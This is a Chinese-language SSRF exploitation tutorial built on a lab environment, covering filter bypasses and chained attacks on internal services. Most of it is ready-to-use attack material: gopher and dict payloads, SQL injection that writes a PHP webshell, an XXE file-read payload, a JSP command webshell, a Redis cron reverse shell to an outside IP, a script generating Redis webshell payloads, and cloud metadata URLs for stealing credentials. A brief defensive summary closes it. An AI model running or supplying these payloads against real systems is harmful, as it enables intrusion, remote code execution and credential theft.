SSRF漏洞原理和进阶利用

SSRF漏洞原理和进阶利用

这里用了两个靶场,推荐最完善的靶场

https://github.com/Duoduo-chino/ssrf-vul-for-new

image-20251203220351550

漏洞原理

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档等等。SSRF漏洞通过篡改获取资源的请求发送给服务器(服务器并没有检测这个请求是否合法的),然后服务器以他的身份来访问服务器的其他资源。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。

PHP中下面函数的使用不当会导致SSRF:

file_get_contents()
fsockopen()
curl_exec()

从漏洞挖掘的角度而言,见到有请求外部连接的参数,例如url=,直接替换内网ip

还有一些例如转发,下载等等收藏处,导入功能点,都会可能存在ssrf

image-20251122145350622

SSRF之信息收集

前置知识

伪协议

file:// 从文件系统中读取文件

dict://字典服务协议,访问字典资源,如dict:///ip:6739/info;

ftp://可用于网络端口扫描

sftp://SSH文件传输协议或者安全文件传输协议

ldap://轻量级目录访问协议

tftp://简单文件传输协议

gopher:// 分布式文档传递服务

扫描内网服务器

查看主机账户密码

file:///etc/passwd

image-20251122164047448

查看当前操作系统的网卡的ip

file:///etc/hosts

image-20251122164324152

容器 IP 172.17.0.6 属于 172.17.0.0/16 网段,这是 Docker 宿主机的桥接网络段,这样就可以去扫描其他内网服务

显示arp缓存表(寻找内网其他主机)

file:///proc/net/arp

image-20251122165028455

然后我们可以爆破这个网段的服务,再通过arp表查看存活主机

image-20251122171716374

爆破之后查看arp表,就能查看到存活的服务

dict伪协议探测端口

在 SSRF 中 DICT 协议常用于探测内网端口开放情况,”dict://ip:prot”当遇到开放端口时,响应速度会明显变快,有的端口还会带 TCP 回显

一、DICT伪协议端口探测的核心原理
利用 SSRF 触发服务端建立 TCP 连接,而不验证协议是否正确,从而判断端口是否开放或服务类型。

流程:

  1. SSRF 接受 URL 输入,例如:

    1
    dict://127.0.0.1:6379/
  2. 底层解析 URL → 尝试建立 TCP socket 连接

  3. 目标端口返回任何数据(哪怕报错)→都意味着端口开放

  4. 根据返回行为产生差异 → 用于端口扫描、服务识别

关键点在于:

  • DICT 是基于 TCP 的协议

  • SSRF 框架会尝试连接远端,不关心是否真正是字典服务器

  • 只要能连接成功,就能获取响应

因此 DICT SSRF 本质上属于 协议欺骗(Protocol Smuggling)


✅ 二、差异体现在哪里?(判断端口状态)

DICT SSRF 的结果本质是连接行为差异 + 返回内容差异


1)连接行为差异 — 端口探测最直接:
行为 说明
TCP 连接成功 端口开放
connection refused 端口关闭
超时 被防火墙 DROP/过滤

这类差异明确直接 → 能判断端口状态。


2)返回内容差异 — 服务识别

即便不是 DICT 协议,对方服务会返回 banner/握手包:

端口 特征
Redis 6379 -ERR
MySQL 3306 二进制握手包(乱码)
HTTP 80 HTTP/1.1 开头
SMTP 25 220 开头
SSH 22 SSH-2.0

说明:

  • DICT 的请求内容无意义

  • 但由于 TCP 连接建立 → 对方服务会按自身协议回复

➡️ 这就构成 协议指纹


3)延迟差异 — 网络策略判断
状态 表现
开放(有响应) 很快
拒绝(RST) 很快
防火墙 DROP 非常慢(等待超时)

➡️ 用来判断 WAF/ACL/容器隔离策略。


🔥 概括一句话

DICT SSRF = TCP 端口探测 + 服务指纹识别 + 网络策略检测


挂到bp里面进行爆破

image-20251124122337390

通过响应长度能判断端口是否开放

image-20251124122431915

Http伪协议探测目录

这一步其实和前面的思路差不多,将url放到bp对其进行页面爆破,通过响应长度即可判断存在页面

image-20251125210703616

成功扫描出路径

image-20251125210836067

gopher伪协议攻击

基本格式

1
gopher://<host>:<port>/<gopher-path>_<TCP数据流>

注意:默认为70 ,发起多条请求每条要用回车换行去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码

gopher伪协议构造GET攻击

image-20251125211145553

1、在页面端提交,因为从请求从跳板机发送到内网受害主机,需要在内网受害主机进行一次URL解码,那么我们就需要先将playload进行一次url编码

playload:

1
2
3
GET /shell.php?cmd=cat+flag HTTP/1.1
Host: 172.72.23.22

注意最后要保留个换行

进行一次url编码后得到

1
%47%45%54%20%2f%73%68%65%6c%6c%2e%70%68%70%3f%63%6d%64%3d%63%61%74%2b%66%6c%61%67%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%37%32%2e%37%32%2e%32%33%2e%32%32%0d%0a%0d%0a

完整在网页端提交的请求就是

1
gopher://172.72.23.22:80/_%47%45%54%20%2f%73%68%65%6c%6c%2e%70%68%70%3f%63%6d%64%3d%63%61%74%2b%66%6c%61%67%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%37%32%2e%37%32%2e%32%33%2e%32%32%0d%0a

2、在bp端,由于BP 是「手动构造 HTTP 请求」的工具,不会像浏览器那样自动帮你补全编码 —— 你写的 payload 会原封不动发送给后端,所以需要手动完成「双重 URL 编码」,才能让后端解码后得到正确的 gopher URL。

所以我们要先抓到包

image-20251125215258816

补全请求,如何进行两次url编码

image-20251125215540692

image-20251125215613841

如此一来便能成功执行攻击

gopher伪协议构造POST攻击

和上面步骤类似,但是不需要再加换行符,给改为POST的攻击代码即可

1
2
3
4
5
6
POST / HTTP/1.1
Host: 172.72.23.24
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

ip=127.0.0.1;id

image-20251127145238924

SSRF之环回地址绕过

在一些情况下,请求的目的IP会被后端限制,比如不允许访问127.0.0.1

这时候我们进行进制转换就能绕过

原始 IP(127.0.0.1) 变形格式(可直接使用) 说明
十进制点分格式 127.0.0.2127.0.1.1 127.0.0.0/8 网段全是本地回环地址,仅过滤 127.0.0.1 时可用
十进制整数格式 2130706433 IP 转整数(127256³+0256²+0*256+1)
八进制格式 0177.0.0.1017700000001 前缀加 0 表示八进制,后端解析仍为 127.0.0.1
十六进制格式 0x7F.0.0.10x7F000001 部分后端(如 curl)支持十六进制 IP 解析
省略点分格式 127.1(等价 127.0.0.1)、127.0.1 后端自动补全前导 0,适用于简单过滤逻辑

image-20251126145236226

SSRF重定向绕过

  • 前端攻击者:构造 url=http://公网服务器A/redirect(公网地址,后端校验合法);
  • 公网服务器 A:收到请求后返回 302 响应,响应头 Location: gopher://127.0.0.1:80/_GET...(目标是私网 / 危险地址);
  • 后端服务器:执行 curl($url) 时,默认会自动跟随 302 跳转,最终访问 Location 中的私网 / 危险地址,完成绕过。

image-20251126134449331

我们在vps上起一个php服务

image-20251126141002284

image-20251126141022877

然后在令ssrf服务访问我们的vps服务即可

image-20251126141113611

SSRF之DNS重绑定绕过

利用 DNS 解析的动态性和后端校验的时间差 —— 攻击者控制一个域名的 DNS 解析规则,让后端在校验阶段解析该域名得到合法公网 IP(通过私网 IP 过滤),而在实际请求阶段,因 DNS 缓存失效或服务器动态返回结果,该域名又解析为靶场的私网 / 本地 IP,后端未对这一二次解析结果做校验,最终让原本被限制的私网地址访问请求成功执行,以此绕过后端基于 IP 或域名的严格过滤规则

原理如图

image-20251126150827848

对此我们只需要利用一个网站配置DNS重绑定

image-20251126150933105

对此即可成功执行攻击

image-20251126150510320

SSRF之白名单绕过

如果场景要求url必须要有某些参数,则可以利用 @ 符号

URL 中 @ 符号的作用是分隔 “用户认证信息” 和 “实际访问地址”,后端若仅校验字符串包含 http://notfound.ctfhub.com,而未解析 URL 结构,就会被绕过:

  • 构造 payloadhttp://notfound.ctfhub.com@127.0.0.1:80
  • 原理:字符串中完整包含 http://notfound.ctfhub.com,满足格式要求;但 curl 等工具会忽略 @ 前的内容,实际访问 127.0.0.1:80(本地私网地址)。
  • 进阶:若需指定路径,可继续拼接:http://notfound.ctfhub.com@127.0.0.1:80/shell.php

ssrf进行sql注入攻击并且getshell

注意:需要进行url编码不然无法被解析

1、判断闭合方式

1
http://172.72.23.23/?id=1'%20%23

2、爆列数

1
2
3
4
5
# 测试3列(预期报错)
http://172.72.23.23/?id=1'%20union%20select%201,2,3%20%23

# 测试4列(预期无报错)
http://172.72.23.23/?id=1'%20union%20select%201,2,3,4%20%23

3、爆库名

1
http://172.72.23.23/?id=1'%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)%20%23

4、爆表名

1
http://172.72.23.23/?id=1'%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),0x7e),1)%20%23

5、爆字段名

1
http://172.72.23.23/?id=1'%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name='flag_is_here'%20limit%200,1),0x7e),1)%20%23

6、读取flag

1
http://172.72.23.23/?id=1'%20and%20updatexml(1,concat(0x7e,(select%20content%20from%20flag_is_here%20limit%200,1),0x7e),1)%20%23

image-202511262155316317、拿shell

1
http://172.72.23.23/?id=1'%20and%201=0%20union%20select%20NULL,NULL,NULL,'%3C?php%20passthru($_GET[%22cmd%22]);?%3E'%20into%20dumpfile%20'/var/www/html/shell_pure.php'%20%23

image-20251126220510840

SSRF打XXE漏洞

查看页面源代码明显是一个XXE漏洞

image-20251127145833155

构造playload

1
2
3
4
5
6
POST /doLogin.php HTTP/1.1
Host: 172.72.23.25
Content-Type: application/xml;charset=UTF-8
Content-Length: 112

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE note [<!ENTITY file SYSTEM "file:///etc/passwd">]><user><username>admin</username><password>&file;</password></user>

放到bp对playload进行二次编码

image-20251127145934716

最后发包即可利用

ssrf利用tomcat任意文件写入

编写playload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PUT /1.jsp/ HTTP/1.1
Host: 172.72.23.26:8080
Accept: */*
Accept-Language: en
UserAgent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 460

<%
String command = request.getParameter("cmd");
if(command != null)
{
java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
out.print("</pre>");
} else {
out.print("format: xxx.jsp?cmd=Command");
}
%>

利用gopher伪协议向内网发送PUT请求

image-20251202151000164

观察到201则成功完成文件上传

随后对上传的木马进行利用

image-20251202151141465

Redis 未授权RCE

Redis 是内存数据库,但允许把内存内容持久化到磁盘。如果没有认证 → 任何人都能远程执行 “写系统文件”。

系统没有web服务,也没有SSH公钥私钥认证,那就用定时任务实现远程代码执行

步骤 dict:// 协议命令 动作说明(从原理角度)
1 dict://172.72.23.27:6379/FLUSHALL 清空 Redis 内存数据,避免已有键值影响持久化过程
2 dict://172.72.23.27:6379/SET x "\n* * * * * /bin/bash -i >& /dev/tcp/47.96.99.165/2333 0>&1\n" 写入带首尾换行的文本内容,使其在落盘时能被系统按行解析
3 dict://172.72.23.27:6379/CONFIG SET dir /var/spool/cron/ 修改 Redis 持久化目录,将持久化文件保存到 Linux 定时任务目录
4 dict://172.72.23.27:6379/CONFIG SET dbfilename root 设置持久化文件名为 root,对应 cron 用户任务文件路径 /var/spool/cron/root
5 dict://172.72.23.27:6379/SAVE 触发 RDB 持久化,Redis 将内存写入上述路径文件,文件内容由系统解析

image-20251202222921787

最后成功反弹到监听的的端口

image-20251202222946469

redis未授权webshell写入(无法使用dict场景)

对于172..150.23.28发现需要密码认证

image-20251203142553468

发现其80端口存在web服务,是文件包含漏洞

image-20251203142808927

读取/etc/redis.conf,读取到密码P@ssw0rd

image-20251203144304223

验证一下发现验证通过

image-20251203144404750

但是没啥用,dict不支持多行命令,无法跟前面那样执行命令,只能打gopher伪协议带redis数据包

这里有两种方法一种是

直接用脚本构造

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import urllib.parse

protocol = "gopher://"
ip = "172.150.23.28"
port = "6379"
shell = "\n\n<?php eval($_GET[1]);?>\n\n"
filename = "mo60.php"
path = "/var/www/html"
passwd = "P@ssw0rd"
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
cmd += CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))

# print(payload)
print(urllib.parse.quote(payload))


执行后得到

1
gopher%3A//172.150.23.28%3A6379/_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25248%250D%250AP%2540ssw0rd%250D%250A%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252427%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25248%250D%250Amo60.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A

发包利用成功

image-20251203155306472

实现任意命令执行

image-20251203155327932

还有一种是手动构造数据包

在本地模拟内网redis环境,首先在一端开启redis服务,并将6379转发到

5301端口

1
socat -v tcp-listen:5301,fork tcp-connect:127.0.0.1:6379

image-20251203163735606

在同时另一端登录5201,并执行操作

1
redis-cli -h 127.0.0.1 -p 5201

image-20251203163745116

最后整理出redis数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
*2\r
$4\r
auth\r
$8\r
P@ssw0rd\r
*1\r
$8\r
flushall\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$13\r
/var/www/html\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
*3\r
$3\r
set\r
$1\r
x\r
$25\r


<?php eval($_GET[1]);?>


\r
*1\r
$4\r
save\r

注意Redis 的协议是以 CRLF (rn) 结尾,所以转换的时候需要把 \r 转换为 \r\n

image-20251203171521940

随后进行两次url编码,发包

image-20251203171556959

gopher打未授权Mysql

这里同样是两种方法一种是直接用工具构造playloadhttps://github.com/tarunkant/Gopherus

运行命令

1
python2.7 gopherus.py --exploit mysql

随后输入mysql用户和要执行的sql语句

image-20251203215047221

最后发送gopher伪协议即可

image-20251203215145242

image-20251203215128232

第二种方法是手动构造mysql数据包

首先监听3306端口

1
2
# lo 回环接口网卡 -w 报错 pcapng 数据包
tcpdump -i lo port 3306 -w mysql.pcapng

随后在本地执行mysql命令

1
mysql -uroot -h127.0.0.1 -e "select * from flag.test";

Wireshark 打开 mysql.pcapng 数据包,追踪 TCP 流 然后过滤出发给 3306 的数据然后过滤出客户端发送到MySQL服务器的数据包,将显示格式调整为原始数据即可:

81830-ph696qxna6b.png

然后使用如下的 Python3 脚本将数据转化为 url 编码:

1
2
3
4
5
6
7
8
9
10
import sys

def results(s):
a=[s[i:i+2] for i in range(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)

s="3c00000185a20f0000000001210000000000000000000000000000000000000000000000726f6f7400006d7973716c5f6e61746976655f70617373776f726400210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031180000000373656c656374202a2066726f6d20666c61672e746573740100000001"

print(results(s))

放入到 BP 中请求的话记得需要二次 URL 编码,成功查询到flag

58024-tt42tmq7t6.png

总结

SSRF 漏洞的成因:

  1. 直接使用用户输入的 URL 作为请求目标;

  2. 不适当的协议和端口控制;

  3. 内部网络或敏感资源未加隔离或防护;

  4. 不正确的权限和访问控制。

    潜在绕过手法(供防御方识别风险) 安全修复方法(推荐)
    IP 进制转换(如 127.0.0.1 → 2130706433 将 IP 统一解析为标准 IPv4/IPv6 后再判断是否属于内网段
    域名混淆(如 example.com → example.com. → 实际解析到内网 解析域名 → 获取真实 IP → 按解析结果校验内网范围
    重定向绕过(如合法域名跳转到 内网 IP 禁用自动重定向(followRedirects = false)或对重定向后的 URL 重新校验
    协议混淆(如 dict:// → DICT:// → dict%3A// 对 URL 进行 标准化(lowercase + decode) 再检查协议,仅允许 http/https
    端口绕过(如 6379 → 06379 → 6379/ 标准化端口号,并限制仅允许 80/443 等安全端口范围

SSRF 漏洞的修复方法:

  1. 输入验证与白名单:只允许特定格式和协议的 URL,禁止内网访问;
  2. 服务端访问控制:严格的权限校验,尤其是针对内网和敏感资源;
  3. 代理与白名单:通过代理服务器转发请求,并对目标进行访问控制;
  4. 防止 DNS Rebinding:对 IP 地址与域名进行比对;
  5. 日志与监控:记录外部请求,并及时分析检测异常行为。

通过这些修复措施,可以有效地减轻 SSRF 漏洞的风险,保护应用程序免受此类攻击。

拓展-云上SSRF

其实云上ssrf和普通ssrf原理相似但是云上ssrf危害更大,攻击面更广。

在云服务ssrf利用中:

1、攻击元数据服务:云环境中,云数据即表示实例,可以用来查看、配置甚至管理正在运行中的实例。

2、攻击存储桶:攻击者通过访问元数据中存储的临时秘钥或者用于自启动实例的启动脚本,这些脚本可能会包含AK、密码、源码等等,然后根据从元数据服务获取的信息,攻击者可尝试获取到受害者账户下COS、CVM、集群等服务的权限。

3、攻击Kubelet API:在云环境中,可通过Kubelet API查询集群pod和node的信息,也可通过其执行命令。(Kubernetes API 用于与集群及其各种资源进行交互。有不同的资源类型和资源实例,以API对象的形式存在。是集群的一部分,API 会指导它们在必要时执行特定操作。)

4、越权攻击云平台内其他组件或服务:由于云上各组件相互信任,当云平台内某个组件或服务存在SSRF漏洞时,就可通过此漏洞越权攻击其他组件或者服务。

其实最常见的攻击手法就是攻击元数据服务

在腾讯云中可以利用ssrf读取如下数据:

1、获取实例物理所在地信息。

http://metadata.tencentyun.com/latest/meta-data/placement/region

img

2、获取实例内⽹ IP。实例存在多张⽹卡时,返回 eth0 设备的⽹络地址。

http://metadata.tencentyun.com/latest/meta-data/local-ipv4

img

3、获取实例公⽹ IP

http://metadata.tencentyun.com/latest/meta-data/public-ipv4

img

4、获取实例网络接口 VPC 网络 ID。

http://metadata.tencentyun.com/network/interfaces/macs/${mac}/vpc-id

img

5、在获取到⻆⾊名称后,可以通过以下链接取⻆⾊的临时凭证,${role-name} 为 CAM 角⾊的名称:

http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials${rolename}

img